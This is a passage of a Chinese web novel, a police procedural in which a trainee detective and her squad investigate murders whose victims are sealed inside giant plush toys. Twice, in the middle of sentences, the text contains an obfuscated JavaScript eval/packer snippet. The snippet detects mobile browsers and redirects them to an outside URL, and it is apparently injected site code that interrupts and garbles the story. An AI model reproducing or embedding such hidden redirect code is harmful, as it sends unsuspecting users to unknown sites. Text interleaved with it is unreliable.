半夜的时候,她听见“咚”的一声,似乎又是一只花盆掉落的声音,碎裂在地,随即有大妈尖锐的声音从楼下某层响起:“造孽哟,大晚上的怎么还往下丢东西?怎么不长记性!” 林知夏半梦半醒之间,回到卧室睡觉。 她的房间是一个客厅,一个卧室,还有一间半开放式小厨房,一共也就二三十平米。 不过嘛,她厨艺不大好,做出来的饭菜,不管怎么按照食谱研究都比较寡淡,索性放弃了研究烹饪这条路。 盖着薄薄的卡通风格凉被,一觉睡到大天亮。 林知夏醒来后,骑着脚踏车到达重案组,上午依旧是走访被害人付元露身边人。这次,一队负责去询问受害者的父母,一队继续在同事间深挖,而被害者曾经交过的男朋友有两个,会不会在此之前,她也如此偏执? 林知夏跟着刘美飒一起负责付元露两名前男友的调查。 一通电话响起,打乱了众人的节奏。 闫子豪接听电话,听见对方说的消息,半放下听筒,表情有些难看:“沙展!” 冯智临正在查看技术人员电脑上远途的监控,那是距离被害者付元露案发现场五条街道外的一个监控,附近那个监控探头失效的缘故,只好调取远距离的,可是仍旧一无所获。 听到闫子豪叫声,冯智临大步走去:“怎么了?” 闫子豪指着听筒道:“沙展,又出案子了,可能是连环案。” “什么?” 冯智临马上抓起听筒,询问情况和地址后,让警员们停下手里的工作。 “你们几个跟我来!” 林知夏恰好也在,忙跟了上去。 冯智临边下楼边向其他警员说明电话中了解到的情况。 “被害者是一名独居女性,死在家里,天热散发出味道,邻居觉得异样报了警。比较古怪的是,这名被害者家中,仍然有大量的毛绒玩具,也可以说,她是死在毛绒玩具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280236|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆里了。和上起案子应该有联系。” “啊,这个凶手怎么就盯上毛绒玩具不放啊?这些买玩具的人招他惹他了?”一名警员震惊道。 冯智临表情肃然:“到现场看看再说。” 众人驱车到达犯罪现场,再次被眼前的景象震惊。 第二名被害者家里毛绒玩具的数量再次超过了他们的想象,足有几百只之多! 果不其然,说是像被堆在了毛绒玩具的小山里,尸体就躺在那座小山中间。 这次,尸体身上套的仍然是一只巨型毛绒玩具,是一只巨型狮子。 狮子大约有1米八左右,被害者身材修长,身高比较高,塞的时候稍显吃力,腿在里面有些折叠的痕迹。 冯智临招呼大家小心一些:“这些毛绒玩具的位置方向都不要弄错乱,取证人员先拍一下照片。” 等前后左右几个方向都拍了无数张以后,冯智临将这具装有尸体的拉链彻底拉开。 那只大狮子被凶手掏空了心,棉絮就扔在旁边。尸体被警员们挪放在地面上。 大夏天尸体闷在厚厚的玩偶当中,已经有些腐烂,味道非常难闻。 几个警员都忍不住撇过脑袋,尽管戴上口罩,仍然有些难忍。 法医佟晓敏仔细检查尸体伤痕,很快,给出的结论也和上一个相仿:“同样是细物勒紧脖颈所致的窒息身亡,凶器嘛……” 她瞥了一眼旁边,有一条MP3的耳机线,将耳机线丢入物证袋,“极有可能是这条耳机线勒的。” 她指向尸体脖颈处的伤痕,给冯智临看:“沙展,你看,最耳机的粗细程度、纤维感,是不是很像?” 冯智临点头:“回去验一验吧,确认一下。” 众警员散开在旁边寻找其他线索。 警员阿杰拉开一只小熊玩偶的拉链,在其中并没有发现什么情书的纸条。 林知夏也帮着寻找,与第一起案件不同,这次的玩偶当中的确没有这些情书。 “咚咚咚!”有人敲门的声音。 林知夏连忙上前把门打开,一看,是个40岁左右的中年男人,个子比较矮,寸头。 进门后,表情中还带着些对尸体的恐惧,毕竟是他报警,先发现了凶案现场。 本来警员们待会儿也要去问询,没想到邻居却主动敲开了门。 邻居于峰闻走到客厅,再也不敢往卧室迈进一步。 不过站在客厅,他仍然闻到熟悉的尸体味道,忍不住干呕了几声,勉强维持住表情,说道:“警官,你们终于来了。我邻居的情况我多少知道一点,跟你们报告一下。” 冯智临走上前:“多谢配合。你知道她叫什么名字吗?” “任媛桃。我老婆上班跟小任顺路,路上老能遇见。我们两家都懒得做早饭,就一块约着出去吃,吃完之后她跟我老婆同路而行,回来路上如果碰到也会一块去吃一顿,就是这样的关系。所以这女孩子出事,我也挺难过的,我老婆更是在家哭了几场。” “平时什么人会来她住处?”冯智临问。 于峰闻想了想,摇摇头:“还真没见有人来过。警官,我和我老婆都知道小任喜欢买些毛绒玩具,这个没什么,我平时也喜欢买仿真机械什么的。只是,小任会经常对着毛绒玩具自言自语。” “自言自语,你听到过?” “是啊,就是跟玩具对话。她特别喜欢其中一只兔子,粉色的兔子,棕色眼睛,尾巴毛茸茸的,倒是挺可爱的。我们吃早餐的时候,她会把那只兔子放在一只位子上,装作它是一个人,偶尔呢,也会和兔子对话,无话不谈,连当天的新闻八卦都要给兔子讲……痴迷程度怎么说呢,手里从没放下过毛绒玩偶,去哪里都随身带着,寸步不离。” “她出事前几天,有什么不一样的地方吗?” 邻居想了会儿说:“小任要将这些毛绒玩具都送走,不知道给谁打电话来着。” “这么痴迷的情况下,这几百只都要送出去?”林知夏在旁边问。 “是啊,她一只都不留了,连手边这只最喜欢的粉兔子都不要。我们当时还劝她来着,说这是你辛苦攒下来的这么多只玩偶,放在那当个摆设,不也挺好看的,为什么要送走呢?不过她摇摇头,什么话也没说。” 刚说到这儿,一个警员就从抽屉里找到了一张诊断证明拿在手里,赶忙上前递到冯智临手里:“沙展,被害者任媛桃生前曾经去医院做过心理类的检查,诊断结果是,边缘型人格障碍。” 冯智临翻了下诊断结果,说道:“现在当务之急是查到被害者究竟要把这些玩偶送给什么人,为什么突然要割舍这么长时间都钟爱的物件,凶手会不会对她的心理施加了什么不好的影响?” 他环视一圈,看向林知夏:“小林,交给你个任务,你去被害者任媛桃的工作地点,美飒你跟她一起吧,找到地点以后,你们俩去搜集下信息。时间紧迫,不能再有第三起犯案了。第一个被害者和第二个被害者的情况,我们并线来推。” 5. 私密论坛。 林知夏和刘美飒问到任媛桃的工作地点后,连忙下楼。 任媛桃是在一家珠宝店工作,是珠宝店的柜员。这家珠宝店在全香江有十几家分店,算是业绩很不错的。 近几年如火如荼,不少年轻新婚男女都喜欢来这家“枫火珠宝”买一款名为“龙虎链”的双人珠宝手链,新款戒指“莲花”系列也比较出名。 上车之后,林知夏踩下油门,飞快从停车位驶出,几下操作都显得相当娴熟,仿佛是一名老司机。刘美飒不由叹道:“你车技还不错哇!” 两人前往“枫火珠宝店”第十分店。抵达之后,进店询问情况,亮出警官证后,几个柜员都大惊:“啊!我们珠宝被盗窃的案件都惊动了重案组哇!” 林知夏解释说:“你们报了案是吧?会有专门的盗窃类组别来负责。我们是来问你们的同事任媛桃。” “哎呦,任媛桃有两三天没来上班了,店长还给她打过电话呢,可是没人接。她平时外出肯定不会不请假的,最近不知道怎么回事。”一名柜员开口。 “任媛桃在家中,被人强勒脖颈导致窒息身亡。”林知夏说。 “什么?”几个柜员都瞳孔大震。 其中一名年轻柜员长相姣好,身材比较瘦弱,一听这个消息先是难以置信,反应过来后,更是眼圈都红了,眼泪“吧嗒吧嗒”往下掉。 她抽了柜台上的纸巾,摁在眼睛上,哭到哽咽,说不出话来。 等她稍稍平复一些,才解释道:“不好意思,我、我和小桃关系很好,一时接受不了这个消息。”说着说着,她又要夺眶而出。 林知夏安慰了几句,给她些时间,让她自我消化。 等对方稍微平复些情绪,林知夏问:“你知道任媛桃生前非常喜欢毛绒玩具吧,可是为什么,她又要将毛绒玩具全部送人,要送给什么人?” 那柜员低头,默默地说了句:“她,是要送给我。” 刘美飒原本在旁边询问另外两名柜员,听到这话,抓住重点信息,一下溜了过来:“为什么任媛桃要全数将那些毛绒玩具送给你?还有你知不知道,她最近心理上出了些问题,边缘性人格障碍。” 柜员点点头,她胸牌前面标注着自己的姓名,名叫孙可可:“小桃以前的确不爱与人接触,这跟从小父母苛待她有关。原本小桃学习挺好,也理应如愿考上一个好大学,但她父母屡次殴打发泄,直接把她打成骨折,导致小桃一年都没有办法上学,只得在家休养,耽误了学习。后来小桃也自暴自弃,没考上大学。” “原来如此。” 林知夏、刘美飒对视一眼,明白她那边缘性人格障碍是怎么来的了,先天家庭的影响必然是比较深刻的烙印。 孙可可继续说:“警官,不知道你们有没有看到小桃更早之前的心理诊断书,情况比现在要严重得多。她想慢慢走出来,迎接新的生活了。所以她说不再需要那些玩偶,想把玩偶送给我。我提议说,我一个人接收不了那么多,可以分给珠宝店所有的同事,店长也送一些。小桃同意了,她还很开心呢!” 如此一来,原本存在的疑点似乎就不存在了。 如果只是送给同事,并且被害者自己想要走出来的话,那么心理上的影响似乎也并非是凶手所造成的,凶手在这当中扮演什么角色? 从目前她同事的叙述当中看,好像没有凶手的位置存在。 “她有没有交过男朋友?” “没有。” “暧昧对象呢?” “也没有,她身边除了同事以外,就真的没有其他了。” “是啊,她跟父母也早就断绝来往了,三年前回乡下看过她们一次,从那以后就再也没见过他们。” 孙可可也深深陷入困惑:“警官,小桃现在身边都是对她很好的人,没有理由要杀她呀!我想不出什么人会有这样的动机,这真是叫人费解。” 林知夏和刘美飒在店里询问一圈,到附近的店铺问了下对任媛桃的印象,和柜员们所说的均一致。 但这里头疑点就更多了。 中午,林知夏和刘美飒到附近那条小吃街上,点了份葱油面,葱油豉汁熬得浓浓的,浇上去面条显得鲜香诱人。 刘美飒对林知夏道:“这是我朋友推荐的一家店,老字号了。她六岁的时候就来这吃,因为味道特别好。门脸小小的,居然还经常排起长队。店里头老两口就凭借这家店买了景宏那边的大房子。回头客居多,你瞧这小窄巷子里,一般人很少能找到这来。” 林知夏点点头,旁观四周,确实,这巷子窄得车都通过不了,只能人步行前来。 好在她们今天来吃饭晚一些,都两点多了,人相对比较少。 挑起葱油面,吸溜进嘴巴里,味道简直令人上头,浓油赤酱形容的应该就是眼前这碗面了吧? 两人吃着饭,又不可避免地聊起案情。 刘美飒问林知夏:“任媛桃的人际关系相当简单,除了同事、邻居以外,生活中没有其他人。那这问题就来了,凶手是怎么出现在她生活里的呢?” 这一点林知夏也一直在思考。 刘美飒托着腮帮子:“尤其是将被害者放入玩偶皮内的这个举动,意味着什么?杀人却不丢弃,这么大喇喇地放着,似乎有一种仪式感。” “是啊。”林知夏点点头,“而且最关键的是,第一名被害者付元露和第二名任媛桃之间,周边关系没有交集,她们两个唯一的交集就是那家毛绒玩具店。” “那就又回到原点了。那三个员工案发时间不在店里,其中一个和朋友去KTV唱歌,全程没有离开,两个在家邻居看到他们进出家门,三个人平时在店里又互为佐证。玩具店老板接送孩子上下学都有老师证明,凌晨在家一直照看孩子,所住的小区比较高档,有监控探头,凌晨他也的确没有外出过,同样没有作案时间。” 林知夏大口大口吃下碗里的面,老板还送了一份盐渍萝卜小菜,看起来简简单单,嚼在嘴巴里,酱香的腌制味道却相当浓郁。 “珠宝店老板下午就到店了,我们再问一下。” 林知夏点点头。 吃完了饭,林知夏和刘美飒再次回到珠宝店,询问珠宝店老板,可证词几乎一致,仍旧没有更多新的信息。林知夏和刘美飒只能打道回了重案组。 法医佟晓敏关于第一名被害者凶器的化验已经出来了,她的化验台前,整整齐齐地摆着不同的能当做绳索的物件,都是从第一名被害者付元露家里搜出来的。 冯智临此时也回了重案组,喝了两口水,赶紧走进法医室,听法医佟晓敏怎么说。 法医佟晓敏指向其中一条捆绑毛绒玩具的塑料绳,说道:“凶器就是这条绳子。” 冯智临若有所思:“这么说,是激情犯罪?凶手并没有自行带凶器前往。” 法医佟晓敏边将手边的资料册合上,边点头:“可能。第二个被害者任媛桃,房间里所发现的那条MP3耳机,也有一定概率是凶器。我在上面肉眼看到了一些脖颈上勒出的血迹。不过化验结果确认的话,还是要等明天。” “无预谋的杀人?”刘美飒感到匪夷所思:“杀人看上去是凭心情,可套在毛绒玩具里的行为,又像是预谋的。” 林知夏默默退出了法医佟晓敏室,她总觉得有什么地方似乎被遗漏了。 重点应该还在那间美乐毛绒玩具店铺,上次沙展冯智临问询的时候,店长栾大斌的目光有所闪烁,被她发现了古怪。 虽然栾大斌没有作案时间,但和两名被害者都接触过,会不会知道些什么? 林知夏决定再回一趟美乐毛绒玩具店,向冯智临汇报后,冯智临恰好也对这家店铺存有疑问,于是说:“一起走吧!” 冯智临驱车带着林知夏前往美乐毛绒玩具店铺旁边一间欢欢糖水铺。 那间玩具店已被警戒线拉起,现场随时还要进行取证,因此生意暂时没法做了。 店长栾大斌在家接到电话后,便去了玩偶店,刚进了旁边的茶水铺,看到重案组两名警员的目光,腿肚子不由有点发软。 店铺关停,对他来说也是损失,尤其是知道这家店死了人,还是那样诡异的死法,恐怕未来的生意也难做呦! 店长栾大斌往桌前一坐,叹口气:“阿Sir,你问吧。” 林知夏将身前一大杯还没动过的荔枝甜饮推到栾大斌面前:“呐!这家店的新品,荔枝酒酿,味道相当好,我们专程给你买的,店长要不要尝一尝啊?” 店长栾大斌看着眼前的女警,真年轻啊,像毕业生,在警队里容貌确实相当出挑,长得像个明星,当红的黄雅薇?不,又不像,气质还要更独特些。 但店长栾大斌还是摆摆手说:“警官给的东西,我哪敢要嘛?” “不要客气。” 林知夏不由分说地将那杯甜品放在店长栾大斌身前。 冯智临开口:“栾大斌,叫你过来一趟,你应该知道为什么?” 栾老板愣了一下,垂下头:“我听刘警官说了,又死了一个人,还是和毛绒玩具有关?那些毛绒玩具又是来自我的店铺?” “是啊,说说吧,有什么信息瞒着我们?” 店长栾大斌沉默了,却见林知夏从兜里掏出一只物证袋,里面装着老板老婆的那枚红宝石项链。 林知夏笑盈盈地说:“物归原主,上次拿回物证中心检测了一下,这枚红宝石跟这起案子无关,所以还是要还给你老婆。不过呢,你老婆的红宝石项链因为磕碰过,这里有磨损,我还特意找专门修补磨损的维修小哥,把这条红宝石完全修复了下,看看现在是不是和全新的一模一样?” 店长栾大斌一看,双眸一亮,连忙双手接过:“哎呀,真是太感谢林警官了,没想到林警官这么有心!这条项链磕碰以后,我老婆可气坏了,动不动就拿着项链说事,这是她最喜欢的东西。我们找了好多家,都无法修复如初。林警官找的人可真厉害!” “当然了,我们警方有修补证物的特殊维修部门,你这磨损对警方来说,没什么难的。” 店长栾大斌拿回红宝石项链,对林知夏的好感值急速飙升。 林知夏默默等待着,下一个瞬间,她眨眨眼睛发现,眼前有一条淡淡的蓝色进度条,进度条飞快拉升,“砰”的一声就爆表了,她揉了揉眼睛。 虽然很惊讶,但确实,随着试图动用系统的次数增多,系统的能力开始逐渐展现。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280237|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林知夏耳朵里燃起小小的烟花声,这应该意味着好感度拉满了。 透明的进度条缓缓在空气中隐去。 下个瞬间,老板直接吐出真话:“警官,你们平时用不用电脑啊?电脑上有一个我们玩具店的私密论坛呢,论坛里的用户都是毛绒玩具深度爱好者。” 话说到这儿,店长栾大斌自己也茫然了一瞬,连忙打住,疑惑刚才就像被下了降头一样,怎么不由自主地把这话说出来? 冯智临一听,立刻询问:“论坛的名字,ID号有没有?我叫技术人员看一下。” 见无法隐瞒,老板只好和盘托出。 “也就是说,这两名被害者都是你们论坛成员?” 栾大斌叹了口气:“是啊,我们店经常会有一些稀有的款式,比如和国外动画公司合作的品牌,妮妮熊、小鹿猫什么的。不光小孩子喜欢,大人也喜欢。有些小众玩偶形象深入人心,总有痴迷于此的人。所以呢,大家就会在那个群里面交流信息,有大家都喜欢的款式呢,我就争取拿下版权,把货品定下来。” 终于有了点实质性进展,林知夏长呼一口气,被害者之间有联系了。 不过林知夏也好奇:“店长上次怎么没提到?” 店长栾大斌:“我……我给忘了嘛!” 这个论坛肯定有什么猫腻。从店长这儿获取了新的信息后,冯智临连忙带林知夏赶回重案组。 技术人员开始查找论坛,林知夏扶着椅背站在旁边看。 不一会儿,技术人员根据ID就找到论坛地址“毛茸茸总动员”。 冯智临拿到了栾大斌给的进入论坛的密码:“进去看看。” 技术人员点进去后,快速浏览论坛。 论坛中的信息很杂乱,不过总体来说都是和毛绒玩具有关,有倒买倒卖的,有询问最新款菠萝头小猪情况的,还有关于最近动画电影《埃及之猫》的观后感。 当然,论坛里也有一些不明链接,点进去后,跳转过去是各种可爱毛茸茸的网页分享。 不过,林知夏在其中发现了店长栾大斌不愿暴露论坛的可能原因,就是这论坛里居然还有上.门.服.务,想要稀有款式毛绒玩具,可是没有时间敢去店里的话,店长栾大斌会吩咐店员根据论坛里客户留下的地址上门送达。 论坛里经常活跃的60多个人,有半数都曾经给过家庭住址,而第二名被害者正是在家中被杀的。 另外,论坛中一些稀有的毛绒玩具款式甚至卖出上万的高价,简直脱离市场定价,比玩偶标签上的价格还要昂贵,栾大斌不想说,恐怕是怕被市场监督部门控诉他哄抬物价。 林知夏总算明白,怪不得小小一家店铺能供老婆买一条20万港币的项链。 有些老顾客相当有钱,来一个高价就收一个高价,店长栾大斌能不赚钱吗? 林知夏去了物证中心,翻开当初从店里拿回来的记录售卖情况的账本。 很快,她就在账本上看到一些不同的图章,似乎是论坛里的老顾客标识后面才有这个图章,后面盖有小兔图章的,正是第一名被害者付元露。 而她正是被杀后装在了毛绒巨型兔玩偶当中。 那么装在狮子玩偶里的会不会就是第二名被害者任媛桃? 沿着狮子图章向前,林知夏看到一个名字,这个名字果然和任媛桃有关。 也就是说,店长栾大斌在记账的时候,有的使用了一些简单的符号,有的作用单字代称,总之怎么简单怎么来,但是后面的图章却每次都会盖上。 这可能是区分老顾客和新顾客的方式,也有可能这些老顾客购买价格到了多少钱之后,才拥有一个这样的图章标识。 有图章标识能够多获得一些限量玩偶的资格吗?大概是店中的某种奖励。 但是巧合的就在这,后面图中的标识和两名被害者死在玩偶里一模一样,这就很难说不是巧合了。 林知夏连忙将账本拿到冯智临面前说明情况。 冯智临一看,顿时明白了:“第二名被害者我们发现的晚,死亡时间其实在第一名被害者付元露之前。所以说按照任媛桃、付元露这样死亡的顺序,刚好和这个本子上记录的顺序一致。抛开这些没有图章的人,带图章的老顾客,也可以说是论坛中的用户,下一个就轮到了企鹅图章。如果凶手是按这个顺序杀人的话,我们得尽快找到这个后面盖有企鹅图章的顾客。” 林知夏点点头:“好,我这就给栾大斌打电话!” 香江拥有大哥大的人群还很少,不过店长栾大斌手中恰好有一只。 虽然没拿在手上,但那天出警店长栾大斌到来的时候,林知夏瞥了一眼他车里底下躺着一只大哥大。所以今天也问了他的电话号码,这样店长不在家的时候也能随时联系到他。 林知夏连忙拨了电话,从店长栾大斌嘴里获取了任媛桃、付元露之后出现的第三名论坛中顾客的姓名,名叫宋志鸣。 提到论坛,店长栾大斌迷惑极了:“宋志鸣这个人呐,有钱!住一栋小别墅,我店里好多高价的毛绒玩具他都有。不过警官啊,这、这不可能吧,我这论坛里的人就只是购买些玩具而已啊,怎么会又有人要被杀了?” 6. 一男一女两具尸体。 果然,一处名为“海蓝之岸”的高档住宅区,绿荫遍布,高大的梧桐树木耸立在道路两侧,遮天蔽日。树丛后面就掩映着一幢一幢的房子。每栋小房子都有一处院落。 各家草坪打理方式不同,有的是整片绿荫,有的分畦种些蔬菜、瓜果,还有的则是满庭院的花朵,正是盛开季节,红的紫的都有,格外绚烂。 林知夏和闫子豪一起蹲守,阿杰和另外一个女警员八小时后再来换他俩的班。 为了便于隐藏身份,警方没有跟高档小区保安打招呼,而是托一位小区住户,让他们坐车进入,一路都相当隐蔽。 到了16号院,林知夏和闫子豪从车上下来,远远找了处隐蔽的墙角,躲在那儿盯梢。 16号住宅前后左右就一个大门,如果凶手前往住宅,从这个角度刚好一目了然,能看清大门的位置。 林知夏感慨,这高档住宅就是不同,相比于自己所住的九号花园,嘈杂声多,这里反而鸟语花香,除了出现响亮的鸟叫声外,平日里显得十分安静。 盯梢了三个小时后,林知夏腿有些麻了,索性在原地抻了抻筋。这样如果待会儿有可疑人员在附近转悠,她也不至于蹲麻了腿而没有办法回击。 一直等到晚上8点,这栋房子都没有什么人出入。 宋志鸣果然有钱,通常情况下不用去公司,日子比较悠闲,远程打几通电话,公司就能正常运转。 因此这一天他的活动场地也非常有限,基本就在家附近,出门绕着小区跑了大约五六圈,短跑的装备相当专业。 林知夏查到的资料上,宋志鸣的确是个练家子,以前差点成为田径运动员。怪不得他刚才经过的时候,手臂上的肌肉块那么大,这样的体格,一般也很难被人放倒吧? 跑完步后,宋志鸣径直回了房子,再也没出来。 直到要换班之前,林知夏和闫子豪才睁大了眼睛,他们看到一辆淡紫色的车停靠在小区路边,从上面下来一个身姿窈窕、波浪卷发的女人,扑面而来的娇贵气质,一看就是被养得很好的情人。 这位宋志鸣换恋爱对象似乎很频繁,直到眼前这个女人出现才相对稳定下来。 查阅资料的时候,林知夏发现他们在一起已经超过一年了,虽然暂时没有结婚的打算,但感情非常稳定。 那女人穿着高跟鞋,白色吊带衫搭配黑色的包臀裙,尽显姣好身材。她脸上架着那副大墨镜,摘下来,卡在吊带衫上。 听到动静,宋志鸣出来迎接她,将她拥入怀中,两人一起走进了院子。 林知夏正观察着,忽然后背一只手覆盖了上来。她转身,看到女警柳阿萝正对着她微笑。 “到点了,你们回去休息吧,晚上这里就交给我们了。呐!手电筒、望远镜,晚上视野不好,这样才能看得更清楚。” “你们吃过晚饭了吗?”林知夏问。 柳阿萝笑道:“放心吧,已经吃好了。你第一次盯梢吧?应该会不大适应,多吃点好吃的,补充□□力。” 林知夏点点头,将自己盯到的情况告诉阿杰和柳阿萝后,和闫子豪离开。 林知夏和闫子豪随便找个大排档,点了些烤串,还有些蜜汁鸡翅,闫子豪为她点了一杯芒果奶昔。 “这附近没什么特别好吃的,随便吃点吧!” 林知夏点点头。 闫子豪问新人:“怎么样?今天头一次盯梢,坚持得住吗?” 林知夏:“没问题的。” 闫子豪说:“这个过程呢,一般都是比较枯燥的,一定要有耐心。以前我们最夸张的时候,连着盯了一个月的时间,那才叫一个累呢。那种不是体力上的累,而是精神上筋疲力尽的感觉,因为你不能动,不能发出声响,蜷在一个角落里,还得时时刻刻看着目标对象的动态,稍有一点懈怠,目标对象都有可能跑路。” 林知夏能明白这种感觉,上一世,她也是从新人阶段走过来,知道这个过程不容易。 很快,几串牛肉串、鸡心、鸡翅都被送上桌,孜然辣椒的香气扑鼻。 林知夏嗅了嗅,味道应该很不错的样子。这大排档看起来不起眼,做出来的东西却不逊色。 她拿起一串鸡心,咬下两只,简直沁人心脾的香啊! 闫子豪坐在对面,看了一眼她嘴里塞得鼓鼓囊囊的样子,觉得倒是有些可爱。 事实上,林知夏刚进入西九龙重案组的时候,整个重案组的组员都沸腾起来,尤其是单身的男警员,因为林知夏确实长得好看,随随便便扎个马尾或丸子头,都漂亮得叫人移不开眼睛。 只是,大家唯一担心的事,这新来的实习警员会不会是个花瓶? 平时在组里倒是挺养眼的,可如果出去做任务,能力不行,那就可太拖后腿了,毕竟他们可是和重案罪犯打交道的,最好办案过程中不要有差池。 不过这次出现场,闫子豪发现,林知夏还挺伶俐,大家对她的担忧稍稍放下来些。 吃完饭,闫子豪送林知夏回到9号花园。 上楼后,林知夏伸了懒腰,瞧了眼自己的肚皮,吃的饱饱的,小肚子都有些鼓了。不过还得早点休息,明天早上还要去换班呢。 第二天一早,林知夏被公鸡打鸣声叫醒。 这楼里前两天不知道是谁养了只公鸡,天不亮就准时叫起来,导致她现在都没有机会按闹铃了。 洗了把脸,让自己清醒过来,林知夏连忙赶赴“海蓝之岸”高档住宅区。 夜班比白班难熬,晚上只能凭借小区里微弱的灯光观察对象,更重要的是,困意容易袭来,得和生物钟做对抗。林知夏头一次盯梢自然是被分配到白天的工作。 林知夏找到阿杰和柳阿萝所在的位置,两人一晚上没休息,眼睛上已经有了微弱红血丝。 不过柳阿萝盯梢有经验,随身备着瓶眼药水,滴了两滴到眼睛里润了润,告诉林知夏:“昨晚无人进出这院子。” 林知夏点点头,手指上勾着两袋小笼包,给阿杰和柳 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两人只好原地守着,然而,等开锁工人打开大门,秘书小童看到房内场景时,吓得尖叫一声,栽倒在地,被保安给拖出了院子。 开锁工人也吓得赶紧逃离了原地。 那场景简直太骇人了,两只大企鹅玩偶当中,装着一男一女两具尸体,就坐在客厅沙发前,摆成玩偶的坐姿。 秘书小童刚一进去,还没看到什么异样,出来时候不小心被玩偶绊了一下,觉得玩偶硬邦邦的不对劲,一查看,吓得那叫一个魂飞魄散。 林知夏瞧见这一幕,情况紧急不敢耽搁,连忙跑上前,还没等秘书小童报警就到了现场。 秘书手里拿着大哥大,想必是刚才用它也没有联系到宋志鸣。 闫子豪连忙告诉秘书小童一串号码:“这是西九龙区重案组的联系电话,赶紧打一下办公室座机,叫他们派人过来!” 秘书小童纳闷:“警官,你们为什么会在这?” 这来得比风还快,是谁都得怀疑。 “重案组组长会告诉你的,快打电话吧,叫法医也来!” 林知夏和闫子豪套上鞋套,生怕破坏现场,进了院子。整个院子里种满了花草,看上去倒是颇有情调。 房间一楼的客厅,两具玩偶赫然坐在那里,其中有一具有些歪斜,正是刚才秘书小童不小心绊倒导致。 “尸体不动,等法医晓敏来了再说。”闫子豪开口提醒。 林知夏点点头,和闫子豪一起从兜里掏出手枪,一步步往楼上走去。 两个人从不同的方向包抄向上。昨晚没有看到人离开,那么凶手会不会就躲在房间里?绝对不能掉以轻心。 然而,从一层大厅向上,所有房间都打开检查过,的确没有任何能藏人的地方。 从三层楼下来之后,闫子豪纳闷了:“这凶手,怎么来无影去无踪啊……” 7. “小夏好厉害啊!” 二十分钟后,冯智临带队来到现场,剥下两只大企鹅的玩偶外皮,露出了两具完整尸体。 然而,这回视线所及范围内,并没有发现适合作案的绳索类物件。 法医佟晓敏去查看两名被害者脖颈的时候,也没有伤痕,反而在胸前心脏处各自看到一处刀伤。 法医佟晓敏看向冯智临:“初步确认,应该是直击心脏毙命。从这个刀入口角度来说,行凶者是一名身材高大的男性。刀拔出来,应该已经带离了现场。拔出来以后更方便将尸体装入玩偶皮。” 她站起身来,笃定道:“可见,凶手心理很是急迫。原本,他只能对付一个人,可这次没有完全踩好点,进来时发现两个人都在。用绳索去勒,速度太慢,还有可能无法实施犯罪,所以换了刀。” “犯罪行为的改变,也是一种有力的说明。”冯智临捏着下巴,若有所思:“我们的行动并没有震慑凶手,反而让他加快了速度。” 刘美飒摇头,“这人到底要做什么?不会只是为了满足自己疯狂杀人的怪癖吧?” 林知夏适时提及:“现在的问题是,凶手是怎么进出这栋房子的?” 冯智临大踏步向院落走去,院外这堵高墙,目测三到五米,上面还有通电的铁丝网,乍一看是无论如何也翻不过去。众人只能绕着院子的围墙寻找,看看围墙有没有不小心被泥水冲刷形成的小洞,供人钻入。 然而找了一圈,都没有这样的洞口。 “那可真就纳闷了。” 林知夏瞧着一处墙面,停了下来,仰头看了看,叫来秘书小童:“麻烦你把这个铁丝网的电闸关一下。” 秘书小童愣了一声,说道:“好!” 他连忙找到位置,把电关闭。 此时,刘美飒、闫子豪也围拢过来,看向林知夏:“你要从这爬上去?这墙面这么光滑,又这么高,不可能吧?” 林知夏说道:“我只是试一试,也不确定。” 她手指所在的位置稍稍动了动,一团被糊上的新鲜泥巴脱落下来,形成了一个小洞。 “呐,这个小洞呢,就可以作为我攀援而上的助力。” “可这距上面还有一段距离,上面没有攀附的地方,上不去的。” 林知夏试了试,左手扒在那个小小的凹陷里,借力向上攀岩,一跃而上,此时距离墙面最高处还有一段距离。 不过有铁丝网的存在,还要高出一截,想翻过去,恐怕不是易事。 林知夏此刻右脚向上,脚尖稍稍一动,又一块墙皮被泥糊伤的部位搓落下来,再次形成了一个洞。不过这洞非常小,有如硬币那般大。 但是,如果是专业攀岩选手,或者是某些运动天赋极好的人,一个小小可以放置脚尖的地方,足够他向上发力了。 林知夏用力飞跃,在衣服快要挂到铁丝网的时候,瞬间抬腿避过。 下个瞬间只听墙那边“扑通”一声,林知夏从高处坠地,翻下打了个滚,做好缓冲,然后喊道:“成功了!” 冯智临刚才远远地瞧见了全过程,对林知夏有些刮目相看。 看起来那样瘦弱的身子竟然能爆发出如此巨大的力量! 整个刑侦队都是武力值较高的配置,但此刻,闫子豪正在尝试,对他而言,借助那两个极小的凹陷,却怎么也上不去。 “哇,小夏,你简直太厉害了,这是怎么做到的呀?这么小小的一个凹坑,我压根使不上力气。” 几个其他警员也过来试试,他们照旧力气很大,可是的确不用巧劲儿的话,是攀援不上去的。 林知夏从大门绕过来,说道:“所以现在的问题就是这个铁丝网,如果通了电的话,即便再有攀附的本领,也很难翻越过去,除非全身都是绝缘衣。” 冯智临想到另一种可能性:“刚刚这通电铁丝网关闸前后,你们看到有区别吗?” 一名警员摇头:“没发现有什么变化。” “会不会通电之前,这地方电已经坏了?” 秘书小童这时气喘吁吁跑过来,听见这话,想了想:“倒也是,其实这铁丝网装上之后,也没人来这偷窃什么的,所以往常我们也感觉不到究竟坏了没有。如果电路不通,压根就是个摆设,也有可能。” “那就是说凶手对这个地方电网不通的情况也是踩过点儿的,否则怎么会知道这个信息?” 